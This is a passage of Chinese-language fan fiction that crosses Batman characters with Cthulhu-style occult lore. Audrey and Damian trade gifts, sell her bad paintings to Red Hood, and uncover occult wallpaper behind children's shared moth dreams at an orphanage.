“我去食堂取一些冰块。”和奥德莉一起回到宿舍后,达米安不抱希望地打开冰箱看了一眼，提议道。 “不用。”奥德莉接了一杯水，轻点一下把它变成冰块。她伸手要去直接抓杯子,却被达米安拦住了,她便坐到椅子上,看他要做什么。 达米安去卫生间取来一条毛巾包住冰块，先查看奥德莉的掌心。他单膝跪地，用手轻轻托着她的手背,睫毛轻垂，神情郑重得仿佛在祈祷。 手心有一块红痕，看起来不像是会起泡，没什么大碍。他这才放心,将毛巾包着的冰块放在她的手上,安慰道：“明天就没事了。” “谢谢。”奥德莉任由他摆弄。她原本担心他会嘲笑自己夸大其词，却因他的认真态度而有些不好意思。 达米安半仰起头去看她,没有说话，也没有收回手。房间里安静得能听见两人轻浅的呼吸声。 奥德莉没话找话地说：“你想看看我今天拍到的东西吗？在书桌上。” 达米安依言走到桌旁，先拿起装着圣雅纳略的真血的水晶瓶,好奇地看了一会儿,然后说：“我有一支羽毛笔，笔尖是大马土革刀碎片制成的，下次带给你。” “那我就却之不恭了。”奥德莉说。 达米安又拿起玫瑰指针怀表研究了一会儿，只需奥德莉偶尔提点一句，他便掌握了用法。 窗外的月亮已经恢复了柔和的黄色光芒,奥德莉出神了一阵,说：“我还是想不通店主的目的。如果她不知道信徒们有办法找回法槌的话，那她的目的就是为了破坏仪式。她是对哥谭怀有恶意吗,还是单纯想报复信徒们？” “你对这位店主有什么了解吗？” “埃莉诺奥里弗拉姆，是拍卖行创始人的不知道第几代子孙。她常年在世界各地举办拍卖会，拍卖行的名声不错。我只知道这些。” “所以她平时不在哥谭？” “对，她一年大概会来四五次，相对其它地方而言算是很频繁了。不知道为什么，哥谭很吸引研习无形之术的人前来居住。” “你说她给你留了一张字条？”达米安问。 “对，就是桌子上那张。” “我可以把它带走研究吗？” “当然。”奥德莉说。“我没看出它有什么特别，但蝙蝠侠……或是罗宾，一定能有所发现。” 达米安注意到她的临时改口，抿了抿嘴，将笑意藏起：“那我走了，晚安。” “晚安。” 月色如水，达米安从阳台灵巧地离开。 第二天中午，去食堂之前，奥德莉听见护士们说谜语人难得有位访客，她好奇地瞥一眼访客记录，埃莉诺奥里弗拉姆的名字赫然在列。 奥德莉立刻问：“这位女士离开了吗？” “我在等你，是否能共进午餐？”一个优雅女声自身后响起，奥德莉回头一看，正是奥里弗拉姆拍卖行的店主埃莉诺。 “你长得很像她。”埃莉诺看着奥德莉，却好似在透过她看另外一个人。 “您认识我的姑祖母？”奥德莉敏锐地察觉到她指的是谁。 “是的，我和阿塞纳丝是多年至交，她就像我的姐妹一样。”埃莉诺露出怀念的微笑，“你的性子也和她一样，都是雷厉风行的作派。” 在食堂的角落坐下后，埃莉诺解释了自己今日来访的目的：“爱德华是一位朋友的后人，我写信请他帮忙警示你，但他应该是没办明白。所以我今天来批评他几句，也想见见你。” 爱德华尼格玛，即谜语人，喜好猜谜、拼图和文字游戏，在犯罪时总会留下谜题预告自己的行动。 “您想请他警示什么？乌尔塔尔的信徒吗？” “他们自称为‘无名奉献者’。他们花重金找我帮忙，这种不义之财我当然要赚，但你在哥谭实习，我可不希望有人在这期间惹出事端。所以我把法槌交给你，没想到你跑去直接正面交锋。”埃莉诺说着抱怨的话，嘴角却含着笑。“唉，我早该想到你也是这样的脾气。” “谜语人这个坏家伙，根本没和我说什么啊。”奥德莉想了想，“好像他是说了句什么‘你会看到盛开的美丽，但那只是开始。’这个算警示吗？但他说话一直是神神叨叨的，我已经学会自动无视那些了……” “他说他调整了花园里花朵的状态，让它们由含苞待放变成怒放，说任何有脑子的人都能看懂其中意味。”埃莉诺转述谜语人的疯言疯语。 “我记住你了，谜语人。”奥德莉恼怒道。这家伙竟然敢说她没有脑子。 “这是我的私人电话。”埃莉诺将一张名片递给奥德莉，上面只印有名字和电话。“你需要任何东西，随时联系我，我会帮你留意。” “谢谢您。”奥德莉仔细收好名片。“我没有见过姑祖母，您能给我讲讲她吗？” “你在密大的时候，应该已经听说过一些了吧？”埃莉诺说。“那些大部分都是真的，她在那个年代可算得上是相当的离经叛道。” “我听说她是密大第一位女学生。” “没错，那个时候美国的大学刚刚开始招收女生，她便申请了。维特这个姓氏很有名，据说你们的祖先中混入了外神的血脉。” “您的意思是说，我难道也……”奥德莉震惊。难道她不是纯种人类吗？ “这只是个传说，很多家族为了宣扬自己，都会努力和一位外神扯上关系。即便是真的，这么多代之后也已经非常稀薄了。”埃莉诺说。 “那她也是一位调查员吗？为什么我在密大图书馆里没有找到她的笔记？” “因为你还没准备好。”埃莉诺说。“她见了太多、走得太远，那些记录不适合太年轻的学生阅读。密大划分借阅权限，正是为了保护学生的安全。” 离开食堂前，奥德莉去后厨要了一只洋葱。大厨好心地问她是否需要帮忙切开放进沙拉，奥德莉笑着拒绝了。 当天晚上，谜语人在枕头上看到一张字条：“我是无辜的，却总让人哭泣。我是谁？” 他拿起纸条，枕头里的洋葱瞬间爆开，谜语人默默流下眼泪。 “我今天做了一件众望所归的好事。”奥德莉把自己的恶作剧讲给达米安听，又叮嘱一句：“不许告诉蝙蝠侠。”她还是很在意自己在偶像心中的形象的。 “好，我不告诉他。”达米安瞥了一眼假装没听见的蝙蝠侠，坏心眼地没有提醒奥德莉。这是他的夜巡波段，蝙蝠侠也在频道上。 “她说和我的姑祖母是朋友，所以在暗中照看我。”奥德莉说。“但谜语人的不靠谱程度超乎她的想象。” “关于无名奉献者这个组织，她还有什么其它信息吗？” “她说这只是一个不足为虑的小团体，历史长河里这样昙花一现的狂信徒组织太多了，许多甚至还没来得及完成召唤，就内讧灭亡了。”奥德莉说。 “但愿如此。”达米安说。 “无名奉献者在阿卡姆可能有内应，不知道是收钱办事的还是他们的信徒之一。”奥德莉又想到把书送到哈维面前的人。“但可能没机会查出来了。” “如果将来我知道了答案，立刻告诉你。”达米安说。“手还疼吗？” “早上就已经好啦。” “周末有安排吗？” “周日还没有。”奥德莉说。 “那一起吃饭？” “好。” 通话结束后，蝙蝠侠看看达米安，达米安无辜回望。两人分别站在相邻的两只滴水兽上，从远处望去像两个沉默的黑影。 “如果便士一在这里，他一定会说，你刚才的表情和我年轻时很像。”蝙蝠侠说。 如果奥德莉听见这句话，她会对蝙蝠侠和韦恩先生更加疯狂地造谣。达米安冒出的第一个念头竟然是这个，他觉得自己的精神已经被污染了。 “我是你的亲生儿子，和你不像才不正常。”达米安当然知道父亲的意思，但他不想正面回答。 “你的生日快到了。”蝙蝠侠说。“有什么计划吗？” “和往年一样，没有。” “阿福会为你准备蛋糕的，你不想和朋友分享吗？” “小乔和绿灯侠去外星系了，八月二日他还没回来。” “你知道我说的是谁。”蝙蝠侠没有放弃。 “她的实习在七月底结束。她说要回纽约。” “那是因为她不知道你的生日。你可以邀请她试试。她来哥谭不花什么时间，或者你也可以去纽约找她。” 达米安沉默了一会儿，说：“如果我邀请，她会答应的。但我不希望她是因为我要求了所以答应。” 这句话说得很别扭，但蝙蝠侠听懂了。他忍不住微笑起来：“但你总得先让她知道你的生日是哪一天，她才能主动提出来啊。” “我应该怎么自然地说出来？嗨，我知道你的生日是十二月一日，想知道我的吗？” 蝙蝠侠这次笑出了声，惹来达米安的怒瞪。 “你会想出办法的，我相信你。” 第35章 周日早上，奥德莉和达米安一起吃了饭，又艺高人胆大地去逛老城区。…… 周日早上,奥德莉和达米安一起吃了饭，又艺高人胆大地去逛老城区。 老城区的砖石路歪歪扭扭，晨间刚下过雨,地面还泛着湿漉漉的光。达米安领路,两人七弯八拐地走到不知何处。达米安忽然停住脚步,说：“你看。” 顺着他的手指，奥德莉看到几栋熟悉的建筑：“我们刚到维多利亚世界时，你就是根据它们判断出我们在哥谭的。” 达米安点点头：“在哥谭最初建立时,老城区曾是它的起点与根基，但现在只剩下老旧街巷和剥落的墙漆。中产阶级也都纷纷搬离，留下的都是无处可去之人。” “你对哥谭真的好熟悉，”奥德莉感慨,“是不是任何一个角落你都能认出来。” “基本上是。”达米安从不做无谓的谦虚。 两人又逛了一会儿,期间奥德莉打跑几个无知无畏的小混混，达米安想参战却被她叫停,只能在旁边做实时指导。直到奥德莉喊累，两人才一起回阿卡姆。 达米安把羽毛笔带来了，还附赠一个精致的水晶墨水瓶。“这个瓶子方便蘸笔,”他解释说。 “谢谢。”奥德莉拿出羊皮卷,在桌上铺开。“我不会写这种语言，就写英语吧。” 【午之石，狂怒银片，晚上九时，敬拜蚁母。成功。到达二百余年之前的异世界,A和D。】 “你把我也写上去了？”达米安一怔。 “是呀,我们一起去的嘛。而且羊皮卷的翻译是你一力完成的。”奥德莉说完，自以为理解了他的担忧,安慰道：“只是个代号，不会泄露你的身份的。” “如果几百年后有人看到这个，”达米安低声说，“他们就会知道，我们曾一同前行。” “对呀。”奥德莉很满意自己的灵光一现。“几百年后，当别人读到我留下的调查员笔记时，不但会被我的奇遇震撼，还会发现我有一个很厉害的同伴哦。” “谢谢。”达米安伸手轻轻碰触新增加的那一行字的末尾。字迹已经干了，但他仍很小心，生怕弄花了它们。 奥德莉又把乐高世界记下，再一次以“A和D”结尾。她收拾好笔墨，对达米安说：“我也有一个礼物要送给你。” 达米安一脸期待地坐在桌前，绿眼睛一眨不眨地跟着她的身影移动。奥德莉把包装好的礼物盒递过去：“如果不是认识了拍卖行的店主埃莉诺，不知道要什么时候才能买到这个呢。” 达米安小心地拆开包装纸，取出丝绒盒子，咔哒一声打开。一枚小巧的吊坠躺在盒中，它的中心是一块半透明的蓝紫色石头，内部浮动着像星星一样缓缓旋转的光点，石头外面被一圈金色金属包围，金属上刻有达米安看不懂的咒文纹路。 “这是低语之石。”见达米安怔忪，奥德莉为他做出说明。“它对精神感染极敏感，一旦周围存在被旧日支配者或外神意识波动干扰的情况，它就会升温并发出低语，保护你的理智。” “这一定很珍贵吧？”达米安问。 “它的使用者必须是不会魔法的人，所以大家通常都是买来送给亲友的。虽然来哥谭时间很短，但我觉得哥谭危机四伏，很可能再有什么外神的信徒冒出来。” “谢谢你。”达米安认真地说，“我会像保护我的刀一样保护它。” “更重要的是你能保护好自己。”奥德莉强调，让达米安搞清楚优先级。 “八月二日那天，你有什么安排吗？”达米安忽然没头没尾地问。 “大概是在纽约享受暑假吧。怎么了？” “你愿意把那一天的时间留给我吗？” “如果你希望的话，当然可以。有什么事情吗？”奥德莉没有犹豫，只是随口问了一句原因。 “到时候再告诉你。”达米安说。 “好吧。”奥德莉拿出手机在日历上标注“留给达米安的一天”，然后催促达米安：“你也记下来。” 达米安说：“我不会忘的。”但也和她一样，在日历上标注“奥德莉留给我的一天”。 “像小学生计划春游。”奥德莉假模假样地抱怨，但是却忍不住笑。 达米安瞥见屋角多了一台木制画架，问道：“忽然开始对画画有兴趣了吗？” “埃莉诺说我可以在她那里寄卖画作。很多调查员都这么做，这是一笔轻松的外快。”尽管说着“轻松”，奥德莉的表情却苦大仇深。 “那你开始画了吗？”达米安没有看到任何画作，但被丢在一旁的调色盘上有残余的颜料，似乎作画者情绪不佳，懒得收拾。 “我……画了两幅。”奥德莉叹息。 绘画曾经是密大必修课，因为除了以文字记录外，调查员也经常需要在笔记本里做一些速写。但随着科技发展，人们可以随时用手机拍摄高清图片，这一技能便显得没那么必要了。但教授们还是会建议学生勤加练习，因为有些神秘景象是相机无法捕捉的。 除了职业需要之外，在照相机不算普及的年代，调查员们对绘画的热情还来自于其带来的利润。掺杂了想象、激情、秘氛或邪名的作品总是很受欢迎，虽然相应的也有被防剿局发现的风险。 奥德莉对自己的水平很有自知之明。就算是她真的一度觉得自己水平尚可，她的模特布莱克也已经让她清醒了。 在听说奥德莉想进行绘画创作后，维斯勒医生很支持，还把自己的画具借给她。奥德莉想到的*第一个题材是给布莱克画肖像画，布莱克激动得不得了，把毛认真舔了一遍，力求达到最上镜的状态。 为了显示出自己身姿灵动，布莱克设计了小猫扑蝶的姿势，很快为此后悔不已，因为它不得不保持这个动作长达三小时。 在布莱克听到奥德莉说出“画完了”三个字时，激动得原地一跳，急急忙忙去看自己的画像，然后支支吾吾地不知道该怎么夸。 “挺……挺好看的。”布莱克说着，大颗大颗的眼泪掉下来，“我在你眼里就是这样的一个小黑点吗？” 布莱克喵呜喵呜地哭个不停，奥德莉急忙解释：“这怎么是小黑点呢，明明是五彩斑斓的黑。而且你看这一抹绿，就是你的双眼呀。” 这话完全起不到安慰作用，眼看布莱克要水淹阿卡姆，奥德莉只好老老实实地承认自己画技不行，没有画出它万分之一的可爱。 第一次失败之后，奥德莉没有气馁，跑到小花园里去画风景。布莱克抽抽噎噎，还是跟着去了，围观她创作第二幅大作。 这一次的发展更加惨淡。毒藤女从楼上俯瞰到她在写生，好奇下来围观，她强忍了十分钟，最后说：“我第一次这么感谢阿卡姆把植物换成了假的。我可不能容忍你这么对待我的小宝贝们。” 奥德莉气急败坏，但还是坚持画完了才收起画板离开，带着不在乎他人眼光的艺术家心态。 如果非得给乌云找个金边的话，那就是布莱克在看到第二幅画和第一幅丑得各有千秋、不分伯仲之后，心情好了点。 奥德莉将两幅作品的照片发给埃莉诺，对方隔了好一阵子才回复：“如果是一百年前，肯定会有密教教徒为了这种深刻的精神污染而购买。但现在的客户都比较挑剔，希望画本身也有一定艺术性。” 达米安听奥德莉讲完，十分好奇：“画还在吗？我很想看看。” “你确定吗？”奥德莉从卧室柜子里取出一张被她塞进角落的画，立到画架上让达米安欣赏，还叮嘱他后退三步才是最佳观赏位置。 “伟大的极简主义，你用单一色块去建构视觉焦点，像极了俄罗斯前卫艺术家马列维奇的《黑方块》。我能看出你在对传统透视进行挑战——你在反问：‘我们真的需要猫的形状吗？’”达米安故意棒读道。 “达米安！我看到你用藏在身后的手机查ChatGPT了！”奥德莉佯怒道，“让我看看你的关键词——‘如何夸奖像个小黑点的黑猫画作’。” 如果达米安不想的话，奥德莉是不可能抢到他的手机的，两个人都心知肚明。 “第二幅呢？也拿来看看嘛。”达米安说。 奥德莉破罐子破摔地把第二幅画也拿出来，等着达米安发言。 “完了，ChatGPT死机了，说它崩溃了。”达米安一本正经地说。 “哼，算它识货，这幅画我加入了双倍的密氛。”奥德莉不肯让他得逞，完全不因此生气。“算了算了，本来也只是试试看。我还是先从素描练起吧，油画太难了。” “我可以帮你把它们卖掉。”达米安积极地说。 “感觉你在打什么坏主意。”奥德莉瞥他。 “我觉得这种艺术作品，正适合冰山赌场。”达米安说。 “我确定你是在打坏主意。”奥德莉把两张画塞到达米安怀里。“快拿走吧，我不想再看到它们了。” “不过我先确认一下，它们不会对人有害吧？你刚才说的精神污染什么的。”达米安对红头罩还是有兄弟情的。 “不会。知道寄卖不出去，我就打算把它们丢掉，所以已经处理过表面了。”奥德莉心痛地说。“我用了好几种珍稀颜料的。” “我会让赌场老板付个好价钱的。”达米安说。 “罗宾，你不要知法犯法啊。”奥德莉大惊，“你是要去强买强卖吗？” “当然不会。”达米安哭笑不得。“只是那位老板审美独特，我想他会欣赏的。” 想到那些冰雕，奥德莉表示认同。 “而且，”达米安“啧”了一声，“他不能只进不出吧。” 红头罩：自从三五不时地从蝙蝠洞为自己补充武器库存之后，商业成本进一步降低了。不差钱。 第36章 杰森陶德，aka红头罩，对着奥德莉的画赞不绝口。达米安反复打…… 杰森陶德,aka红头罩，对着奥德莉的画赞不绝口。 达米安反复打量杰森，怀疑他有什么阴谋,或者是急需看看脑子。 杰森真心实意地说：“线条像是乱画的,但每一笔都落在某种奇怪的韵律上。它在牵引注意力……又在干扰判断。” “线条？你怎么从其中看出线条的？”达米安看看杰森,又看看画，猜测杰森或许有一些魔法天赋，或者是无形之术天赋,总归是神秘侧的。“那你说说这两幅画的是什么？” “这幅是哥谭夜景，这幅是芭蕾舞女。”杰森毫不犹豫地说。“太传神了，形似神更似。” “你真是画家的知音。”达米安作出诊断，红头罩是脑子不好使。他就知道全包裹式面罩容易引起缺氧进而导致智商降低。 同情归同情,交易是交易。达米安拍拍杰森的肩膀,说：“付钱吧。” 杰森很爽快地拿出一沓现金，说：“周三晚上我在犯罪巷旁边的儿童福利院做志愿者,你和奥德莉要不要一起来？” “为什么忽然邀请我？” “是邀请你们。”杰森强调。 “好吧，我问问她。具体内容是什么？” “那里的孩子最大的十岁左右，最小的两三岁。志愿者们陪他们吃饭,玩游戏,给他们讲故事，回答他们天马行空的问题。我偶尔也会教大一些的孩子防身术。” “你在那里的化名是什么？” “杰莱德（JayRedd），汽车修理工。” “周三晚上？好呀，我买点甜品带过去。”奥德莉很爽快地答应了。下班后，她买了几打杯子蛋糕外加一个巨大的苹果派。 “孩子们要高兴疯了。”杰森接过奥德莉手里的甜品,放在墙边的长桌上。 “谢谢你邀请我,杰。”奥德莉说，视线四处搜寻达米安。达米安说会提前些到,此刻却不见人影。 “约翰在画画时打翻了果汁，他带约翰换衣服去了。”无需提问，杰森已经主动回答。 “画画吗？”奥德莉眼里冒出期待，“我最近在学简笔画，可以教他们。” 达米安牵着一个小男孩的手出现，后者高高兴兴地继续去画画了。奥德莉问：“有什么我能做的吗？我可以教……陪他们画画。” 达米安装模作样地犹豫：“你确定吗？如果被童言无忌的评价气哭，我可不能帮你殴打小朋友啊。” 奥德莉故意给达米安一个大大的白眼，然后去陪孩子们画画了。杰森站在不远处，深觉自己真是智慧过人——既为孤儿院拉来人手，还可以现场围观达米安用最酷的表情说最无聊的傻话。 “你的注意力有一半不在我这里。”杰森在指挥达米安做事时，犀利地指出他有一半的注意力在奥德莉那边。 “给你一半已经够多了。”达米安冷酷地说。“你是这里的小朋友吗，我是来为他们做志愿者还是为你的？” 杰森被气得噎了一下。 “哇，艾米丽，你画的蝴蝶真漂亮。我们一起来为它涂色吧。”奥德莉被小朋友的绘画水平惊呆了。这只浅黄色的蝴蝶栩栩如生，再加上些花纹一定更像真的。 “姐姐，这是一只蛾，不是蝴蝶。”艾米丽认真地说。 “哦，抱歉，是我看错了。”奥德莉立刻承认错误。“但……蛾子是黄色的吗？” “飞蛾是灰色的。”艾米丽解释，“这是它在辉光下的样子。” 奥德莉不确定艾米丽为什么会用“辉光”这个口语中不太常见的词。小朋友们偶尔会乱用自己不知道在哪里学到的词语，尤其是那些听起来很高大上的。但这个词在密教中有特殊的含义。 辉光是梦境与现实之间的裂隙，是诱引之光，也是毁灭之焰。侍奉蛾之准则的荒林俱乐部追寻的终点便是与辉光融为一体，以自我焚毁作为蜕变仪式的结尾。这个社团在数十年前转入地下，普遍观点认为它已经走得太偏了。 奥德莉的怒火被点燃了。如果有人胆敢在儿童福利院传教，她一定要砍下那人的狗头。但她也担心是自己过于警惕，不想吓到小朋友们，便温言道：“你是在哪里见到这种飞蛾的？” “在做梦的时候。”六岁的艾米丽回答得清晰又肯定。“我们都梦到了。” “你们是谁呀？”奥德莉的心沉了下去。 “我，约翰，阿曼达，还有艾伦。” 奥德莉默默记下这些名字，又问：“你经常梦见飞蛾吗？” “从去年圣诞节开始，大概每周都会梦到。” “梦里的飞蛾在做什么呢？” “好像什么也没做，就只是在月亮下面飞，它飞得很慢。也许它只是停在那里。” “难怪你画得这么好。还想画点别的吗？”奥德莉问。 艾米丽摇摇头，又拿了一张纸，再一次开始画飞蛾。 奥德莉觉得自己脑中几乎要听到嗡鸣声了。幸好这时达米安和杰帮着老师们端来晚餐，孩子们都丢下手中的玩具，排队洗手等着吃饭。 这一晚的其它时间都很正常。达米安和杰森非常受孩子欢迎，可能因为他们在对待孩子的时候不自觉地模仿了蝙蝠侠的做法。他们曾被温柔以待，在耳濡目染中学会了，继而将这种温柔传递给他人。 听起来很不可思议，但蝙蝠侠确实非常受哥谭孩子的欢迎。不只因为他是这座城市的英雄，以及万能腰带里总有糖果，还因为他会耐心地蹲下听孩子说话，擦干他们的泪水，温柔又坚定地鼓励和引导他们。任何一个见过蝙蝠侠单膝跪地拥抱孩童的人都会意识到他有一颗多么温暖的心。 临走前，奥德莉悄悄把达米安带到孩子们的画作旁，把自己的疑虑讲给他听。 画飞蛾只能算是爱好比较独特，但几个小朋友们一起做同样的梦，这就绝对不正常了。达米安当即找来杰森。 “×&%￥#@××”杰森没忍住骂了一串非常本地化的脏话。死而复生后，他暗中出资设立了这家福利院，空闲时常来帮忙。这里距离他年幼时混迹的犯罪巷不远，看到这些孩子就好像看到他自己。 冷静下来后，杰森确认了一遍艾米丽提到的名字，然后说：“这四个孩子都是六岁。” “会是小伙伴们为了有共同话题而故意附和吗？比如一个孩子先说起来，其他人只是响应。”奥德莉带着侥幸心理说。 “这四个孩子没有过矛盾，但各自都有更玩得来的朋友。”杰森说。 “如果是这样的话，我觉得值得调查一下。”奥德莉叹气，不得不面对现实。“你能带我们四处看看么？” “这栋建筑是韦恩集团赞助的，以很便宜的价格租给福利院。”杰森领着他们看了平平无奇的一楼和二楼，又带他们看了朴实无华的地下室。“不算历史建筑，就是很普通的一座陈旧的砖石小楼。” “这种长走廊放在电影里通常预示着什么。”奥德莉小声嘀咕，“我现在心情很糟糕，如果有恶灵现身，它一定会后悔不已。” “阁楼还有一间储藏室，不过大家平时很少去。”杰森忽然想起还有一处没去查看。 储藏室门刚打开，一股潮湿的霉味就散发出来。杰森担忧地看向屋顶，“不会是有哪里渗水了吧。我明天得检查一下。” 房间里堆着十几个塑料箱和纸箱，上面有手写的便条标注内容，多是偶尔才会用到的节日装饰，以及一些不太常用的杂物。 墙纸已经斑驳脱落了，奥德莉以手机照明，靠近仔细查看露出的地方。 “你发现了什么问题吗？”达米安低声问。 “还不确定。你觉得杰会同意我把墙纸全拆下来吗？还是会觉得我是神经病？”奥德莉也压低声音。 “他会理解的，他……思想的包容度很高。”达米安回答，然后直接对杰森说：“杰，把墙纸拆了。” 杰森立刻利落地动手，奥德莉看得呆了。“他什么都不问？” “他相信我不会在这种事情上开玩笑。”达米安很平常地说，一边拆另一面墙。 三人合力，很快将最上面的一层墙纸去除，露出下面泛黄的另一层墙纸。除了隐约的飞蛾图案外，上面还写着大段的诡异文字。 “这是伐诃语。”奥德莉说。伐诃自称是进入秘密之光的唯一入口，祂借人类之梦传授了这种语言。 奥德莉露出全美中学生在拉丁文课上最常见的表情——绞尽脑汁回忆这些眼熟的见鬼字母到底是什么意思。 达米安和杰森不去打扰她，小声谈论墙纸的制作年代。“这种对称图案流行于上个世纪20年代，看陈旧程度倒也符合。”达米安说。 “我记得四五年前院长提过他们新贴了阁楼的墙纸，但没想到他们偷懒，没有先把旧的去掉。”杰森有点不满。 “幸好没有去掉。”奥德莉忽然激动地说，“这可能是《旋火密续》。” 第37章 奥德莉对自己的发现非常意外，立刻拍下数十张照片。“我需要立刻联系学…… 奥德莉对自己的发现非常意外,立刻拍下数十张照片。“我需要立刻联系学校图书馆。这本书很著名，部分原因是它的唯一抄本在十九世纪末期失窃。大英图书馆丢过很多书，这倒并不奇怪。珍贵的是书的内容——根据其他人的笔记来看,这本书讲的是一位司辰回应了信徒的祈祷,并帮助信徒勒索其他神灵以获得战争的胜利。” “勒索神灵？”达米安几乎以为自己听错了。“司辰也算是神灵吧？那这是帮着外人勒索同事？” “更像是帮着下属勒索竞争对手。”奥德莉解释。“司辰之间的关系,即便是相对友好的那些，也是很微妙的。” “真是复杂的关系。”杰森感慨。自从在刺客联盟得到大种姓之刃，他偶尔会与神秘学产生交集,只是他始终在犹豫是否要走得更远。 回到哥谭之后，他惯用的武器是两把大口径手枪。这种选择本身已经昭示了他与蝙蝠侠的分歧。无论推手是小丑还是命运，他已经走上了一条未曾设想过的道路。在他说“这是我生命中最美好的一天时”，他能想象到的未来只有作为罗宾的那一种。 魔法侧是一条更加充满迷雾的道路。尽管从未后悔过自己的选择,但偶尔,只是偶尔，他仍然会凝视着哥谭的夜空,思索自己的道路最终将走向何处。 “书里这位名为丝毧的司辰，祂不喜欢光明，对辉光的回答也永远为否。很有趣吧,一位蛾道路的司辰却抗拒太阳,但对于光的渴望是无法被抑制的，祂因此与月亮联系紧密。”奥德莉瞥见杰因她的话而露出一丝茫然神色，以为是自己讲得太枯燥了，赶紧说出自己的下一步计划。“我现在就联系亨利阿米蒂奇教授。” 达米安再一次被密大师生这种说干就干的行事风格震惊：“现在已经很晚了，而且还是暑假。” “阿米蒂奇教授是个工作狂。他是图书馆馆长,也是卓越的语言学专家。我想不等太阳升起他就会亲自来哥谭了。我认为这本书里包含了用以勒索神灵的具体内容,但我不确定自己的解读准确。伐诃语真的太难了。” “亲自来？”杰森诧异。他第一次和密大的人打交道，也因这个风格感到震惊。 “他会想亲眼看一看的,”奥德莉说。“他肯定不甘心于只是知道内容，还会希望对墙纸进行研究以获得更多的背景知识。” “好吧。”杰森耸耸肩。“你觉得它会是导致孩子们做梦的原因吗？” “有可能，但同时也有说不通的地方。这些墙纸在这里很久了，为什么以前没有导致孩子们做梦呢？”奥德莉纠结地说。 “那孩子们怎么办，会有紧迫的危险吗？”杰森问。“无论如何，我希望能尽快解决这个问题。” “我明白。刚刚我仔细观察了艾米丽，她没有任何异变的迹象，所以我想几个孩子目前还是安全的。”奥德莉说。“我会和阿米蒂奇教授谈谈，他一定会有办法的。” 说话间，奥德莉已经以邮件将照片发送给密大图书馆的公共邮箱并抄送阿米蒂奇教授。密大图书馆在官网上列出了面向大众的公共邮箱，欢迎各界人士提供资讯信息。 “我就知道阿米蒂奇教授在这个时间会很快回复的。”奥德莉在十分钟后便收到了教授的邮件，说他以前来过哥谭并留下过传送记号，此刻他已经到哥谭警局了。这个传送地点十分符合他谨慎的性格。“我去接他。” “我和你一起去。”达米安说。其实他完全没必要去，但奥德莉很自然地答应了，两人拉着手一起出发。 “我在这里等你们。”杰森一脸淡定地望着两人消失的地方，坚持把自己的话说完。 很快，奥德莉和达米安将阿米蒂奇教授带到了福利院的阁楼。教授戴着白手套，鼻梁上夹着单边镜片，非常的古典学术风格。 杰森对于阿米蒂奇教授到达的速度竟然毫无疑问，还很礼貌地和他打招呼，感谢他莅临福利院提供专业意见。就算再粗心大意的人此刻也会意识到有哪里不对劲了。 但杰森的伪装太自然，奥德莉小声地问达米安：“杰是不是脑子不太好使？” 达米安喜出望外、毫不护短：“你看出来了？” 奥德莉认真地说：“太明显了。他在哥谭的生活一定很不容易吧。” 杰森竖起耳朵，被听到的内容气到自闭。善解人意、礼貌待人也有错吗？ 阿米蒂奇教授的全部心神都被墙纸吸引了。在仔细查看后，教授笃定地说：“这的确是《旋火密续》。根据笔迹来看，是某个人在墙纸被贴好后站着抄录了整本书。这本书的历史价值很高，能重见天日真是个惊喜。” “如果只是一本书，为什么会对孩子们造成影响呢？”奥德莉担心他们是不是找错了方向。 “这本书蕴含的秘密过于重大，而且伐诃语本身就具有奇异力量。据说在抄本尚存之时，储藏之处偶有飞蛾盘旋。这也是在抄本失窃后，大英图书馆根本懒得费力去追查的原因。”阿米蒂奇教授说。 “但这些墙纸已经在这里许多年了。”奥德莉说，但忽然意识到自己思考的盲区。“等等，是我想偏了，其实福利院里六岁的孩子不止他们四个吧？” 杰森一愣。他们之前都觉得是有人想利用六岁的孩子达到某种目的，但实际上，福利院里有七个孩子都是六岁左右。 “的确如此。”杰森说，思索着。“他们四个有什么独特的地方吗？” “如果这本书会对它附近的人和事物产生影响，那也许是因为他们四个都来过这里？可能同来的还有其他年纪的孩子，只是他们没有受到影响。六岁被认为是懵懂与成熟的第一次分界，另一次分界是十五岁，但福利院没有这个年纪的。在司辰仍从人间选择侍者的时候，他们最青睐这两个年龄。”奥德莉探寻地看向阿米蒂奇教授。 教授点点头，表示赞同奥德莉的分析：“我想这是最有可能的原因。这也解释了为什么他们的症状都很轻微。如果确认是这样，只需要在下一个月圆之夜让孩子们喝下浸泡过月蚀蓟的水，便可以切断他们与司辰之间的联系了。” “那是什么东西？”杰森瞪大眼。 “在新月时从墓碑背面长出的草。”奥德莉解释。“不用担心，这个很常见，我晚些给你送来。”这是调查员都会随身携带的草药，用来澄澈被迷惑的人群的神志，也能应对群体性谵妄。 “我明天问问孩子们。”杰森说，心里也基本相信了奥德莉和教授的判断。 “所以，没有什么阴谋，只是巧合吗？”达米安问，觉得事情的发展有点有种虎头蛇尾的荒谬感。 奥德莉也有这种感觉。就好像一个人以为自己发现了UFO，最后发现是邻居家的旋转七彩吊灯。 阿米蒂奇教授被奥德莉的表情逗笑了，说：“你是调查员，不是破案的探长。你需要做的是找到真相，但这个真相不一定是凶手，也可能是一个谜题的答案或一段遗失的知识。” 看到奥德莉还是有点郁闷，教授又强调：“不要怕小题大做，谨慎总好过忽视线索。而且你还发现了这本书，密大图书馆感谢你的信息。” “好吧，您说得对。而且事情能这么简单地解决掉也挺好的。”奥德莉说着，意识到这其实是个不错的结局，没有人受到不可逆的伤害。“那这个墙纸怎么办，销毁吗？” “留在这里可能还会有其他六岁的孩子被影响。”杰森主张销毁。“阿米蒂奇教授，销毁它会有什么不好的后果吗，或者有什么注意事项吗？” 阿米蒂奇教授说：“撕下来在白天烧毁就可以了。” 来去如风的教授离开了，剩下奥德莉在原地思考到底该如何对杰解释这一晚的奇怪事情。作为一个调查员，除了处理各种问题，安抚围观群众也是很重要的能力。 虽然杰看起来好像一点也不需要安抚，他完全没有恐惧或慌乱的情绪。他靠在墙上，双臂抱胸，瞪了一眼达米安，更像是生气。 为什么对达米安生气呢？奥德莉没想明白，但还是想努力为教授编一个合理的解释。她干笑着说：“教授住得近，又醉心学术，所以一听说这里的事情就立刻赶来了。” 杰森很无奈。他如果像正常人一样质疑和提问，虎视眈眈的达米安肯定要事后报复，无谓地浪费双方的时间。但如果他继续装傻，可能就被奥德莉彻底打上智力低下的标签——他倒是无所谓别人对自己的看法，但大家以后难免再有交集，他能预想到奥德莉的尴尬程度。 “你不需要解释什么，我相信你。我会对今晚的一切守口如瓶的。”杰森选择露出凌厉的气质，说的话却很温和。“谢谢你的帮助。” 原来是一位体贴的智慧群众。奥德莉松了口气，感激地笑笑，但是想起达米安对自己的误导，这一次轮到她去瞪达米安了。 